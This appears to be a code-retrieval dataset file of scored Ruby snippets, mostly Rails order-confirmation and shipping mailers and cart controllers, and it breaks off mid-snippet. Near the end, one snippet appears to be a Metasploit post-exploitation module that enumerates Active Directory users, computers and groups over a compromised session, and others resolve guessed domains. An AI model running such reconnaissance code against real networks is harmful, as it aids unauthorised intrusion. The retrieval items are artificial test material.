{ "docid": "c2a2fa4303a95a296434c55147f09c2b", "score": "0.5037076", "text": "def order_shipped(order)\r\n @order = order\r\n\r\n mail :to => order.email, \r\n :subject => 'Objednávka z Pragmatické knihovny byla odeslána'\r\n end", "title": "" }, { "docid": "ff695baaeadc5ddabaa52719571f1015", "score": "0.5032362", "text": "def new_order_notice(enquiry)\n @enquiry = enquiry\n @customer = @enquiry.customer\n mail(subject: \"[team] New Order #{@enquiry.id}\")\n end", "title": "" }, { "docid": "5c40f6006693de3dc8d16b0b9ab2d189", "score": "0.5030224", "text": "def add_to_current_order\n\n # get the first open order that the user has\n if current_user.orders.where(status:'Open').first\n current_order = current_user.orders.where(status:'Open').first\n OrderProduct.create({product_id: params[:product],order_id: current_order.id, quantity: params[:order][:orderproduct][:quantity], price: params[:order][:orderproduct][:price],additional_info: params[:order][:orderproduct][:additional_info] })\n\n # If not open and create a new order for the current user\n else\n current_order = current_user.orders.create(order_params)\n current_order.update(status: 'Open')\n OrderProduct.create({product_id: params[:product],order_id: current_order.id, quantity: params[:order][:orderproduct][:quantity], price: params[:order][:orderproduct][:price],additional_info: params[:order][:orderproduct][:additional_info]})\n end\n redirect_to order_path(current_order)\n end", "title": "" }, { "docid": "7162f04afd00cfb3cf54fd373b0e4e52", "score": "0.50295085", "text": "def shipped(order)\n @order = order\n\n mail to: order.email, subject: 'Envío de compra Farmacia Zi'\n end", "title": "" }, { "docid": "488505d1d28c868ec687fede793b9c97", "score": "0.50248224", "text": "def includes_product?(product)\n products.include?(product)\n end", "title": "" }, { "docid": "53912226dfa399ee97cd2de198c3aa83", "score": "0.5023632", "text": "def purchased?(product)\n purchase_items.exists?(product_id: product.id)\n end", "title": "" }, { "docid": "e77d2d09a2714d5bf864639a4b4f8acf", "score": "0.5021497", "text": "def has_been_recorded?(order)\n unless Validation.validate(order.to_s) && Order.is_a_valid_item_code?(order.to_s)\n return false\n end\n @customer_order.push order.to_s\n return true\n end", "title": "" }, { "docid": "a3900afd85add6bd6212d3ecf174506e", "score": "0.5021305", "text": "def create\n if current_user\n @order = current_user.orders.create(product_id: params[:product_id])\n redirect_to orders_path\n end\n end", "title": "" }, { "docid": "be6298ee54c3e509b12dac0234c9a80c", "score": "0.5019677", "text": "def order_receipt(args)\n @user = args[:user]\n @order = args[:order]\n @greeting = text(\"views.purchase_notifier.order_receipt.intro\")\n attach_all_icals_from_order(@order)\n send_nucore_mail args[:user].email, text(\"views.purchase_notifier.order_receipt.subject\")\n end", "title": "" }, { "docid": "41f8c5612d303a1019cff43edfabe0cd", "score": "0.50188166", "text": "def shipped(morder)\n @morder = morder\n\n mail to: morder.email, subject: \"Pragmatic Store Order Shipped\"\n end", "title": "" }, { "docid": "cc1b9dc6bb6c66b46bc1f72c9fa306bd", "score": "0.5018346", "text": "def order_shipped\n @order = order\n\n mail to: order.email, subject: 'Objednávka z obchodu Pragmatická Ivona byla odeslána'\n end", "title": "" }, { "docid": "eeed03b1ce202a5b1cd7e2321dc4bd61", "score": "0.5004298", "text": "def order_shipped(order)\n @order = order\n\n mail(to: @order.user.email , subject: 'Order Confirmation')\n end", "title": "" }, { "docid": "b77fa9e1b001dcdd74ff26eb17d7b7f0", "score": "0.49983218", "text": "def confirm_delivery\n if @order.complete!\n # update the owner with the refilled boxes\n owner = @order.owner # e.g. node\n current_quantity = owner.current_quantity # e.g. node current quantity\n owner.update(current_quantity: current_quantity + @order.quantity)\n\n render json: {}, status: :ok\n else\n render json: {errors: @order.errors.messages}, status: :bad_request\n end\n end", "title": "" }, { "docid": "12ba5f0c91839eee072e304cc97a209e", "score": "0.4997362", "text": "def shipped(order)\r\n @order = order\r\n mail to: order.email, subject: 'Заказ из Pragmatic Store отправлен'\r\n end", "title": "" }, { "docid": "016f0f337e13019bfa666a97276c381b", "score": "0.49939722", "text": "def order_shipped(order)\n @order = order\n mail :to => User.find_by_id(@order.user_id).email, :subject => \"来自Time international GmbH的包裹发送信息\"\n end", "title": "" }, { "docid": "e3dbc959b61a0b8d69ef955d4080e138", "score": "0.49914274", "text": "def order_confirmation_buyer(order)\n @order = order\n\n mail(\n to: @order.user.email,\n subject: \" Chouette, tu as commandé #{@order.meal.menu_name}!\"\n )\n end", "title": "" }, { "docid": "f35a32bb1545342346a234cc29b336ad", "score": "0.4988689", "text": "def new_friends_card_purchase_notification (friend, registration)\n @friend = friend\n @registration = registration\n mail(to: @registration.email, subject: 'Your Friends Card Order Receipt')\n end", "title": "" }, { "docid": "95e06a1e3f47a9b213123843eb6a4f75", "score": "0.49879733", "text": "def requirement_satisfied_by?(requirement, activated, spec)\n true\n end", "title": "" }, { "docid": "b9b8a9a805c830bbe18951eb3a42ea85", "score": "0.49826962", "text": "def can_add_product(p) \n university_id && \n ! products_unshipped_and_uncancelled.include?(p) &&\n ( ! p.premium? || univ_premium? ) # we can add non-prem products to any univ, or premium prods to premium univs\n end", "title": "" }, { "docid": "785551337e7eaa0782e2c8228b1f1d73", "score": "0.49759346", "text": "def send_order_mail_user(user, order)\n @order = order\n @user = @order.listing.user\n mail( :to => @user.email, :subject => \"Your listing (#{@order.listing.title}) has been sold!\" )\n end", "title": "" }, { "docid": "2c856c5ca8ab5603c4f233e8e6b9228e", "score": "0.4972607", "text": "def create\n @order = Order.new(order_params)\n @order.add_line_items_from_cart(@cart)\n respond_to do |format| if @order.save\n Cart.destroy(session[:cart_id])\n session[:cart_id] = nil\n #send email\n OrderNotifier.notify_admin(@order).deliver\n OrderNotifier.received(@order).deliver\n format.html { redirect_to '/order_submitted', notice: %Q[Your order was successfully created. Thank You for choosing Americo! We will send you an email when your order is ready to ship.<p>Don't forget to join our Mailing List for special offers and periodic newsletters. <a target=\"new\" href=\"http://visitor.r20.constantcontact.com/d.jsp?llr=j4rb9sqab&amp;p=oi&amp;m=1117322790889&amp;sit=8wpamrxib&amp;f=7e954c51-d956-4ceb-b3be-2a8cf6773713\" class=\"button btn btn-success\" style=\"color: rgb(255, 255, 255); text-shadow: none; border-top-left-radius: 10px; border-top-right-radius: 10px; border-bottom-right-radius: 10px; border-bottom-left-radius: 10px; display:inline-block; vertical-align: middle;\">Join our Mailing List here.</a>].html_safe }\n format.json { render action: 'show', status: :created, location: @order }\n else\n format.html { render action: 'new' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "78f6b0fd71a811c4fbb81e918d0cc2ca", "score": "0.49546686", "text": "def order_receipt(email, cart, order)\n @email = email\n @cart = cart\n @order = order\n mail(to: @email,\n subject: 'Thank you for ordering on Senzzu!')\n end", "title": "" }, { "docid": "c3cdb1a520c289511fbb42f3650aa545", "score": "0.49434057", "text": "def build_product\n NewsletterMailer.build_product\n end", "title": "" }, { "docid": "b2e02ca52eb4e99f24d1190ad04fc12e", "score": "0.49419698", "text": "def order_notification(user)\n @user = user\n @items = @user.items.out_of_stock\n\n mail :subject => \"Keep these items in Sto.ck\",\n :to => user.email\n end", "title": "" }, { "docid": "7963b03f70e0a6f83692b932db19ddf0", "score": "0.49407572", "text": "def create\n @order = Order.new(params[:order])\n\n if @order.save\n\n\n orders = Order.by_manufacture_state(\"0\", @order.product_id)\n\n sum_meterial_manufacutured = @order.product.manufactures.sum(:quantity)\n orders.each do |order|\n\n break if order.quantity > (sum_meterial_manufacutured - Order.by_manufacture_state(\"1\", order.product.id).sum(:quantity))\n\n order.manufacture_flag = 1\n order.processing\n order.save\n\n end\n\n flash.notice = t('order.save')\n redirect_to orders_path\n else\n render :action => \"new\"\n end\n\n end", "title": "" }, { "docid": "7aab3f11e27a87cf157e869dc758ab07", "score": "0.49383172", "text": "def received(order)\n @order = order\n\n mail to: order.email, subject: \"My Favorite Store Order Confirmation\"\n end", "title": "" }, { "docid": "7b3e6d467938ca949952c7c02a0abe00", "score": "0.4933768", "text": "def product_email(product, user)\n\t\t@greeting = 'Hi'\n\t\t@product = product\n\t\tmail to: user.email\n\tend", "title": "" }, { "docid": "58ab2391f94c2c3d5f3ee5a281958d16", "score": "0.49270076", "text": "def shipped(order)\n @order=order\n mail(\n to: order.email,\n subject: 'BookShelf Order Shipped',\n from: \"BookShelf\",\n return_path: \"morozhunce@gmail.com\",\n date: Time.now,\n template_path: 'order_notifier',\n template_name: 'shipped'\n )\n end", "title": "" }, { "docid": "5cace9dfeddd4c959f1ca5098bee4103", "score": "0.49234065", "text": "def available_for_order?(_order)\n true\n end", "title": "" }, { "docid": "40a083d470c20dcb01a027d4597a0596", "score": "0.49221772", "text": "def deliver_store_owner_order_notification_email?\n store.new_order_notifications_email.present? && !store_owner_notification_delivered?\n end", "title": "" }, { "docid": "4a4a079ec1014b7312cc3ba75e204a32", "score": "0.49212638", "text": "def received(order)\n @order = order\n\n mail to: order.email, subject: 'Fast Find Auto Parts Order Confirmation'\n end", "title": "" }, { "docid": "5b25be0eeff1088fadd790bd79445ecd", "score": "0.49202612", "text": "def update_quantity\n product = Product.find_by_title(params[:product_title])\n order_item = OrderItem.find_by(product: product)\n if params[:quantity_of_products].present? && product.present?\n if product.quantity_products + order_item.quantity >= params[:quantity_of_products].to_i\n order_item.update_quantity_product(params[:quantity_of_products], true)\n order_item.order.update_total_price_cents(nil)\n redirect_to cart_path, notice: \"Количество товара #{params[:product_title]} было обновлено до #{params[:quantity_of_products]}\"\n else\n redirect_to cart_path, notice: \"Простите, вы не можите купить этот товар количеством в #{params[:quantity_of_products].to_i} так как их всего #{product.quantity_products}\"\n end\n end\n end", "title": "" }, { "docid": "554fa5919ad845b47fcfbae6b0116e21", "score": "0.49199733", "text": "def solve\n if user.role == :customer\n EventDispatcher.new.customer_was_registered(user).dispatch!\n end\n end", "title": "" }, { "docid": "73fea37c599b1029e8b84f1d32ebd2e4", "score": "0.49131253", "text": "def complete_order\n # Get the current user's last order (i.e. the current order)\n @order = @current_user.orders.last\n\n # Invoke an action in order.rb that 'moves' items from a user's cart to the current order\n @order.add_line_items_from_cart @cart\n\n # Invoke action in order.rb that updates stock levels\n @order.update_inventory\n\n # Destroy the user's cart\n @cart.destroy\n\n # Set a flash notification that the order was successful\n flash[:notification] = \"Order successful!!!\"\n\n # Redirect to orders#show\n redirect_to order_path(@order)\n end", "title": "" }, { "docid": "321f050c3cdff5805aa9b9e4530f4720", "score": "0.49122173", "text": "def delivered(order)\n @order = order\n\n mail to: order.email, subject: \"Your order is ready\"\n end", "title": "" }, { "docid": "6c7720068267bc8bf4d45c61a15ac5ed", "score": "0.49089098", "text": "def create\n @order = Order.new(params[:order])\n @order.add_line_items_from_cart(current_cart)\n @order.save_referer(session[:referer])\n\n respond_to do |format|\n if @order.save\n Cart.destroy(session[:cart_id])\n session[:cart_id] = nil\n session[:referer] = nil\n Notifier.order_received(@order).deliver\n\n\n #if @order.line_items.find_all { |line_item| line_item.product.category.dealers_only == true }.size != 0\n # Notifier.order_dealer_send(@order).deliver\n #else\n # Notifier.order_send(@order).deliver\n #end\n\n Notifier.order_send(@order).deliver\n\n format.html { redirect_to('/content/happy', :notice => 'Пасибки за заказ') }\n format.xml { render :xml => @order, :status => :created,\n :location => @order }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @order.errors,\n :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f8df3e36298691393fb859596fef8440", "score": "0.48999593", "text": "def received(line_items, user)\n @sale_transaction_line_items = line_items\n @user = user\n mail to: @user[:email], subject: 'Order confirmation' do |format|\n format.text\n end\n end", "title": "" }, { "docid": "8a9317dddde42727b69e98210a61320a", "score": "0.48925418", "text": "def create\n product = Product.find_by(id: params[:order_item][:product_id])\n if params[:order_item][:qty].to_i > product.inv_qty\n flash[:warning] = \"Quantity selected exceeds amount availabe in inventory\"\n redirect_to product_path(product.id)\n elsif @current_order.nil?\n @current_order = Order.new\n @current_order.save\n end\n\n @order_item = @current_order.order_items.new(order_item_params)\n @order_item.save\n @current_order.save\n @current_order.update(status: \"Pending\")\n session[:order_id] = @current_order.id\n redirect_to cart_path(@current_order.id)\n # else\n # flash[:warning] = \"Item order not placed\"\n # redirect_to root_path\n # # end\n end", "title": "" }, { "docid": "151fdb44e7cecb2f4d3c671b085eb71e", "score": "0.48865083", "text": "def update\n if @current_order.order_items.nil?\n flash[:warning] = \"You have zero items in your cart\"\n redirect_to products_path\n elsif @current_order.update(order_params)\n flash.now[:success] = \"Order was accepted\"\n @current_order.place_order # decrease inventory and change status to paid\n @current_order.save\n # show confirmation page\n @order = @current_order # needed for rendering order information in confirmation page\n render :confirmation\n session[:order_id] = nil\n else\n flash.now[:warning] = 'Order was not not created'\n @current_order.errors.messages.each do |field, msg|\n flash.now[field] = msg\n end\n render :edit\n end\n end", "title": "" }, { "docid": "eea4d0bc10ec6d5270775440ff11e62f", "score": "0.48864043", "text": "def create\n @order = Order.new(order_params)\n @order.user_id = current_user.id if @order.user_id == 0\n @order.price = @order.product.price\n another_order = current_user.orders.in_cart.where(product_id: @order.product_id).first\n logger.debug(\"----------------#{@order.price}..........\")\n if another_order\n another_order.quantity += @order.quantity\n another_order.price += (@order.quantity*@order.price)\n logger.debug(\"----------------#{@order.price}..........\")\n @order = another_order\n end\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: t('Order was successfully created') }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "527af652ace93e75e3f61ee4133755ab", "score": "0.48800707", "text": "def create\n if current_user\n @carted_products = CartedProduct.where(status: \"Carted\", user_id: current_user.id)\n\n @subtotal = 0\n @tax = 0\n @total = 0\n @carted_products.each do |carted_product|\n @subtotal += carted_product.product.price * carted_product.quantity\n end\n \n @tax = @subtotal * SALES_TAX\n @total = @subtotal + @tax\n\n # quantity = carted_products.quantity\n # price = Product.find_by(id: params[:product_id]).price\n # subtotal = quantity * price\n # tax = subtotal * 0.09\n # total = subtotal + tax\n\n order = Order.create(user_id: current_user.id, subtotal: @subtotal, tax: @tax, total_price: @total) \n\n @carted_products.each do |carted_product|\n carted_product.update(status: \"Purchased\", order_id: order.id)\n end\n\n end\n redirect_to \"/orders/#{order.id}\"\n end", "title": "" }, { "docid": "621ca1c27a66e324d5844aa0781e2a81", "score": "0.48796898", "text": "def new_place_notification (merchant)\n @merchant = merchant\n mail to: \"sales@halalfoodhunt.com\", subject: \"A Place Has Been Listed\"\n end", "title": "" }, { "docid": "d93d8edfa1f4fc120c5b9323644fc68b", "score": "0.4874381", "text": "def fire_for(basket)\n num = num_matching_products(basket)\n Event.new(created_by: self,\n product: @product,\n num_matches: num / 2,\n new_price: Price.zero) if num > 1\n end", "title": "" }, { "docid": "4724a30b9422bbc4d982a7ad88790c40", "score": "0.48738825", "text": "def edit_delivery\n if !test_present_attributes([:fact_firstname, :fact_lastname, :fact_address, :fact_zipcode, :fact_city])\n redirect_to payments_fact_path\n end\n end", "title": "" }, { "docid": "cb33f5cf577c9cfbc81f630f6cf49fe6", "score": "0.48706827", "text": "def add_product(product)\n\t\titem_to_add = line_items.find_by(product_id: product.id)\n\t\tif item_to_add\n\t\t\titem_to_add.quantity += 1\n\t\telse\n\t\t\t# in this case we create the line_item, the quantity default is 1\n\t\t\titem_to_add = line_items.build(product_id: product.id)\n\t\t\titem_to_add.order = nil\n\t\tend\n\t\titem_to_add\n\tend", "title": "" }, { "docid": "cbb31c2f9a24b820b9618ddaeb779aac", "score": "0.4865696", "text": "def received(order)\r\n @order = order\r\n mail to: order.email, subject: 'Подтверждение заказа в Pragmatic Store'\r\n end", "title": "" }, { "docid": "396cdf32f63f2b3a058c3c42aa9a52a6", "score": "0.486503", "text": "def shipped(order)\n @order = order\n \n mail :to => order.email, :subject => 'Montagna Verde Order Shipped'\n end", "title": "" } ]
61e1a1fdbf77472cb5eec77b8c6d509e
deputize.rb 100616, modified version of older script 100617, added hash methods, rescue, more accurate ou routine 100617, added dummy receipt writing, logging, simplified (i think) get_ou method 100622, edited failure output 100622, edited get_ou method to exit if the correct ou isn't found cf. cf.
[ { "docid": "13326454f9b6b629149b6b7645052d31", "score": "0.0", "text": "def get_host\n begin\n host=%x(/usr/sbin/dsconfigad -show | /usr/bin/awk '/Computer Account/ {print $4}').chomp\n return host\nrescue\n puts \"this machine must not be bound to AD.\\n try again.\"\nend\nend", "title": "" } ]
[ { "docid": "00708a284db44f7730a8c94229473bb9", "score": "0.57585126", "text": "def run\n print_status(\"Running module against #{sysinfo['Computer']}\")\n if datastore['OU_DN'] =~ /^OU=*/\n # Make sure the extension is loaded.\n if load_extapi\n domain = get_domain\n unless domain.nil?\n\n table = Rex::Ui::Text::Table.new(\n 'Indent' => 4,\n 'SortIndex' => -1,\n 'Width' => 80,\n 'Columns' =>\n [\n 'Name',\n 'SAMAccount',\n 'Distinguished Name',\n 'Type'\n ]\n )\n\n filter = '(|(&(objectCategory=person)(objectClass=user))(objectClass=computer)(objectClass=group)(objectClass=organizationalUnit))'\n query_result = session.extapi.adsi.domain_query(datastore['OU_DN'],\n filter,\n datastore['MAX_SEARCH'],\n datastore['MAX_SEARCH'],\n [\n 'name',\n 'samaccountname',\n 'distinguishedname',\n 'objectcategory']\n )\n if query_result[:results].empty?\n print_status 'No results where found.'\n return\n end\n\n query_result[:results].each do |obj|\n\n # Identify the object type\n objtype = ''\n case obj[3][:value].to_s\n when /^CN=Person*/\n objtype = 'User'\n\n when /^CN=Computer/\n objtype = 'Computer'\n\n when /^CN=Group*/\n objtype = 'Group'\n\n when /^CN=Organizational-Unit*/\n objtype = 'OU'\n end\n\n table << [obj[0][:value], obj[1][:value], obj[2][:value], objtype]\n end\n table.print\n print_line\n\n if datastore['STORE_LOOT']\n stored_path = store_loot('ad.ou_members', 'text/plain', session, table.to_csv)\n print_status(\"Results saved to: #{stored_path}\")\n end\n\n end\n end\n else\n print_error \"Distinguished Name provided is not for an Organizational Unit.\"\n end\n end", "title": "" }, { "docid": "08b68da4510df788d699199ddf4527ef", "score": "0.55019015", "text": "def main\nusage = 'USAGE : \\'Lookup.rb <domainname> <cidre>\\''\n\n\nsoa = ARGV[0].to_s\ncidre = ARGV[1].to_i\nif ARGV.length != 2 || ARGV[1].to_i == 0 || ARGV[1].to_i > 32\n\tputs usage\n\nelse\n\n\tdatum\n\tip = get_own_ip\n\tget_arpa(cidre,ip)\n\tforward_zone(soa)\n\tarpa = get_arpa(cidre,ip)\n\treverse_zone(soa,arpa)\nend\n\n\t\nend", "title": "" }, { "docid": "1fad9cb724a3146ae672cef6abe12bda", "score": "0.5469116", "text": "def fixOriginalInput_CommunityFile()\n #check for traditional signs of an OTU table format and fix if necessary\n cRead = File.open(@communityFile, \"r\")\n line1 = cRead.gets\n line2 = cRead.gets\n cRead.close()\n\n stringCheck1 = \"\\# QIIME\\ v1.2.0\\ OTU\\ table\" \n #stringCheck1 =\"\\#Full \\OTU\\ Counts\"\n stringCheck2 = \"Consensus\\ Lineage\"\n\n headerCheckBool = 0\n otuLabelCheckBool = 0\n\n headerCheckBool = 1 if line1 =~ /#{stringCheck1}/\n otuLabelCheckBool = 1 if line1 =~ /#{stringCheck2}/ || line2 =~ /#{stringCheck2}/\n\n #if we have an OTU table that needs fixed\n #if headerCheckBool == 1 || otuLabelCheckBool == 1\n newCommFile = File.basename(@communityFile).gsub(/#{File.extname(@communityFile)}/, \"-communityFixed.dat\")\n newCommFile=\"#{outputDirectory}/#{newCommFile}\"\n w = File.open(newCommFile, \"w\") \n\n #loop through community file and output updated file\n cRead = File.open(@communityFile, \"r\")\n #ignore first line if we have a header line unique to OTU tables\n cRead.gets if headerCheckBool == 1\n \n #read through OTU table and fix the following issues:\n # -rename [0,0] to 'sites'\n # -add an 'X' to beginning of names to avoid data type issues\n # -replace -s with _s\n # -remove ' 's\n # -remove OTU tag if applicable\n \n header = cRead.gets\n headerSplit = header.split(\"\\t\")\n headerSize = headerSplit.length\n headerSize -= 1\n #add one position to header length if we do not need to subtract for\n # OTU label\n headerSize += 1 if otuLabelCheckBool == 0\n \n #print out each header value minus last value if we have OTU labels\n for pos in (0...headerSize)\n if pos == 0\n #substitute in name 'sites' at [0,0]\n w.print \"sites\"\n else\n #add 'X' in front of all header values\n sampleName = \"\\tX#{headerSplit[pos].strip}\"\n sampleName.gsub!(/\\-/, \"\")\n sampleName.gsub!(/\\ /, \"\")\n w.print sampleName\n end\n end \n w.puts\n \n #loop through remaining lines after header line\n cRead.each{ |line|\n headerSplit = line.split(\"\\t\")\n for pos in (0...headerSize)\n if pos == 0\n featureName = \"X#{headerSplit[pos]}\"\n featureName.gsub!(/\\-/, \"\")\n featureName.gsub!(/\\ /, \"\")\n w.print featureName\n else\n w.print \"\\t#{headerSplit[pos]}\" \n end \n end\n w.puts\n }\n\n cRead.close()\n w.close()\n\n #save the name of file before transposing so we can use for \n # environment file lookup\n @convertedCommunityFile = newCommFile\n\n #file to contain transposed community file\n transCommFile = newCommFile + \".tr\"\n\n #we then need to transpose this file so it will be compatable for R input\n #create matrix object from brlMatrix.rb\n matrixObject = MatrixWork.new(newCommFile, transCommFile)\n\n #store input as matrix\n commMatrix = matrixObject.file2matrix(nil)\n\n #transpose matrix\n transCommMatrix = commMatrix.t\n\n #export transposed matrix to file\n matrixObject.printMatrix(transCommMatrix, transCommFile)\n\n #update community file to updated file\n @communityFile = fep(transCommFile)\n end", "title": "" }, { "docid": "0ce3ba5170d033de32b295017b7eeddc", "score": "0.5463395", "text": "def to_udid2(last_name, first_name, birthdate,latitude,longitude)\n\n latitude = Float(latitude)\n longitude = Float(longitude)\n\n #get only ascci\n last_name = last_name[0..25].gsub(/[^a-z ]/i, '').upcase\n first_name = first_name[0..26].gsub(/[^a-z-]/i, '').upcase\n\n #verify latitude and longitude\n return 0 if (latitude > 90 || latitude < -90)\n return 0 if (longitude > 180 || longitude <= -180)\n\n #add 0\n i_latitude = latitude.to_s.split('.')[0]\n i_longitude = longitude.to_s.split('.')[0]\n\n f_latitude = latitude.to_s.split('.')[1]\n f_longitude = longitude.to_s.split('.')[1]\n\n i_latitude = \"%02d\" % i_latitude\n i_longitude = \"%03d\" % i_longitude\n\n f_latitude = \"#{f_latitude}00\"[0..1]\n f_longitude = \"#{f_longitude}00\"[0..1]\n\n #add + or -\n latitude > 0 ? i_latitude = \"+#{i_latitude}\" : i_latitude = \"-#{i_latitude}\"\n longitude > 0 ? i_longitude = \"+#{i_longitude}\" : i_longitude = \"-#{i_longitude}\"\n\n @be_hash = \"#{last_name};#{first_name};#{birthdate.to_s};e#{i_latitude}.#{f_latitude};#{i_longitude}.#{f_longitude}\"\n @clear = \"#{@@type};c;#{@be_hash};0;\"\n\n @hash = Digest::SHA1.hexdigest @be_hash\n\n @udid2 = \"#{@@type};h;#{@hash};0;\"\n\n end", "title": "" }, { "docid": "3a450a6bd65939c99e3bea8f9616dad2", "score": "0.53864825", "text": "def run\n\tsuper\n \n ## Read the TLD List and pre-process it to remove crud\n f = File.open Rails.root + \"data/tld.list\"\n tld_list_with_comments = f.read\n tld_list = []\n tld_list_with_comments.each_line {|line| tld_list << line unless line =~ /^\\/\\// }\n tld_list.each {|tld| tld.chomp!}\n \n tld_list = [\"com\",\"net\", \"org\"]\n \n ###\n # Organization\n ###\n \n\tif @object.kind_of? Organization\n\t\tif @object.name\n\t\t tld_list.each do |tld|\n \n\t\t\tbegin\n\t\t\t\t domain = \"#{@object.name}.#{tld}\"\t\t\n\t\t\t\t\tresolved_address = Resolv.new.getaddress(domain)\n\t\t\t\n\t\t\t\t\tif resolved_address\n puts \"Resolved Address: #{resolved_address}\"\n create_object Device, :ip_address => resolved_address, \n :name => domain, \n :organization => @object\n create_object Domain, :name => domain, \n :organization => @object\n end\n \n \t rescue Exception => e\n\t\t\t puts e\n\t\t\t end\n\t\t end\n \n\t\telse\n\t\t\tputs \"Error, object has no name to look up!\"\n\t\tend\n\tend\n\n ###\n # Domain!\n ### \n\n\tif @object.kind_of? Domain\n\t\tif @object.name\n\t\t tld_list.each do |tld|\n\n\t\t\tbegin\n\t\t\t\t domain = \"#{@object.name}.#{tld}\"\t\t\n\t\t\t\t\tresolved_address = Resolv.new.getaddress(domain)\n\n\t\t\t\t\tif resolved_address\n create_object Device, :ip_address => resolved_address, \n :name => domain, \n :domain_id => @object.id,\n :organization_id => @object.organization.id\n end\n\n \t rescue Exception => e\n\t\t\t puts e\n\t\t\t end\n\t\t end\n\n\t\telse\n\t\t\traise \"Error, object has no name to look up!\"\n\t\tend\n\t\n\t\tnil\n\tend\nend", "title": "" }, { "docid": "7a20b74e52ac59c4bfbeea8a3e0146c3", "score": "0.5374176", "text": "def ou_to_short(name)\n name = name.upcase\n\n case name\n when \"DSS IT SERVICE CENTER\", \"DSS IT SHARED SERVICE CENTER\"\n return \"IT\"\n when \"DSS HR/PAYROLL SERVICE CENTER\"\n return \"HR\"\n when \"CALIFORNIA HISTORY SS PROJECT\"\n return \"CHP\"\n when \"UC CENTER SACRAMENTO\"\n return \"UCCS\"\n when \"HEMISPHERIC INSTITUTE-AMERICAS\"\n return \"PHE\"\n when \"HISTORY PROJECT\", \"HISTORY PROJECT UCD\"\n return \"HP\"\n when \"SOCIAL SCIENCES PROGRAM\"\n return \"SSP\"\n when \"PHYSICAL EDUCATION PROGRAM\"\n return \"PHE\"\n when \"DSS RESEARCH SERVICE CENTER\"\n return \"RSC\"\n when \"GEOGRAPHY\"\n return \"GEO\"\n when \"ANTHROPOLOGY\"\n return \"ANT\"\n when \"COMMUNICATION\"\n return \"CMN\"\n when \"ECONOMICS\"\n return \"ECN\"\n when \"HISTORY\"\n return \"HIS\"\n when \"LINGUISTICS\"\n return \"LIN\"\n when \"MILITARY SCIENCE\"\n return \"MSC\"\n when \"PHILOSOPHY\"\n return \"PHI\"\n when \"POLITICAL SCIENCE\"\n return \"POL\"\n when \"PSYCHOLOGY\"\n return \"PSC\"\n when \"EASTERN ASIAN STUDIES\"\n return \"EAS\"\n when \"INTERNATIONAL RELATIONS\"\n return \"IRE\"\n when \"MIDDLE EAST/SOUTH ASIA STUDIES\", \"MIDDLE EAST/SOUTH ASIA PROGRAM\"\n return \"MSA\"\n when \"SCIENCE & TECHNOLOGY STUDIES\"\n return \"STS\"\n when \"CENTER FOR MIND AND BRAIN\", \"CENTER FOR MIND & BRAIN\"\n return \"CMB\"\n when \"SOCIOLOGY\"\n return \"SOC\"\n when \"COM, PHIL & LIN RED CLUSTER\"\n return \"RED\"\n when \"POLI SCI, IR ORANGE CLUSTER\", \"SOCIAL SCIENCE ORANGE CLUSTER\"\n return \"ORANGE\"\n when \"ECON, HIS, MS BLUE CLUSTER\", \"SOCIAL SCIENCES BLUE CLUSTER\"\n return \"BLUE\"\n when \"ANT, SOC GREEN CLUSTER\", \"SOCIAL SCIENCES GREEN CLUSTER\"\n return \"GREEN\"\n when \"L&S DEANS - SOCIAL SCIENCES\"\n return \"DEANS\"\n when \"PSYCH, CMB YELLOW CLUSTER\", \"SOCIAL SCIENCE YELLOW CLUSTER\"\n return \"YELLOW\"\n when \"EDUCATION - PH.D.\"\n return \"EDU\"\n when \"COMMUNITY DEVELOPMENT\"\n return \"ComDev\"\n when \"NEUROSCIENCE\", \"CENTER FOR NEUROSCIENCE\"\n return \"NueroSci\"\n when \"CENTER FOR INNOVATION STUDIES\"\n return \"CSIS\"\n when \"ASUCD\", \"UC DAVIS\", \"ASIAN AMERICAN\", \"UNIVERSITY EXTENSION\", \"CHEDDAR\", \"STUDENT EMPLOYMENT CENTER\",\n \"TEMPORARY EMPLOYMENT SERVICE\", \"CAMPUS RECREATION AND UNIONS\", \"CRESS DEPARTMENT\", \"LIBRARY\", \"POLICE\",\n \"COMPARATIVE LITERATURE\", \"PRIMATE CENTER\", \"L&S DEANS - U/G ED & ADVISING\", \"STATISTICS\",\n \"AGR & ENV SCI DEANS OFFICE\", \"OFFICE OF THE CHANCELLOR\", \"UNDERGRADUATE ADMISSIONS\",\n \"UNIVERSITY WRITING PROGRAM\", \"TEXTILES & CLOTHING\", \"STUDENT HOUSING\", \"ENGLISH\", \"ANIMAL SCIENCE\",\n \"IRB ADMINISTRATION\", \"SCHOOL OF LAW-DEANS OFFICE\", \"STUDENT ACADEMIC SUCCESS CTR\", \"GERMAN & RUSSIAN\",\n \"INTERCOLLEGIATE ATHLETICS\", \"HUMAN ECOLOGY\", \"GRADUATE DIVISION\", \"MED: NEUROLOGY\",\n \"ENVIRONMENTAL TOXICOLOGY\", \"SCHOOL OF MED - STAFF\", \"L&S DEANS - DEVELOPMENT\",\n \"TEMPORARY EMPLOYMENT POOL ADMN\", \"SCHOOL OF MED - APS\", \"MED: GENERAL PEDIATRICS\",\n \"MED:PSYCHIATRY & BEHAV SCI\", \"NATIVE AMERICAN STUDIES\", \"ART\", \"VP UNDERGRADUATE EDUCATION\", \"GEOLOGY\",\n \"VM: CTR COMPARATIVE MEDICINE\", \"ENGR COMPUTER SCIENCE\", \"MED: DIV OF INTERNAL MED\",\n \"FM: CUSTODIAL SERVICES\", \"VOORHIES ADMINISTRATIVE UNIT\", \"MED: OPHTHALMOLOGY\", \"MED: PUBLIC HEALTH SCIENCES\",\n \"NEURO PHYSIO & BEHAVIOR\", \"INST OF TRANSPORTATION STUDIES\", \"ENVIRONMENTAL HEALTH & SAFETY\",\n \"MEDIEVAL STUDIES\", \"EDUCATION\", \"ACADEMIC AFFAIRS\", \"ANR SUSTAINABLE AG PROG\"\n return nil\n else\n Rails.logger.warn \"AD Sync: Missing OU for translation to container name: #{name}\"\n ActivityLog.err!(\"Could not translate unknown organization to AD group equivalent: #{name}\", ['active_directory'])\n end\n\n return false\nend", "title": "" }, { "docid": "6a0cb833fadcc4bb662d12fb97d3e6b7", "score": "0.53402996", "text": "def stdlookup(session,domain,dest)\n\tdest = 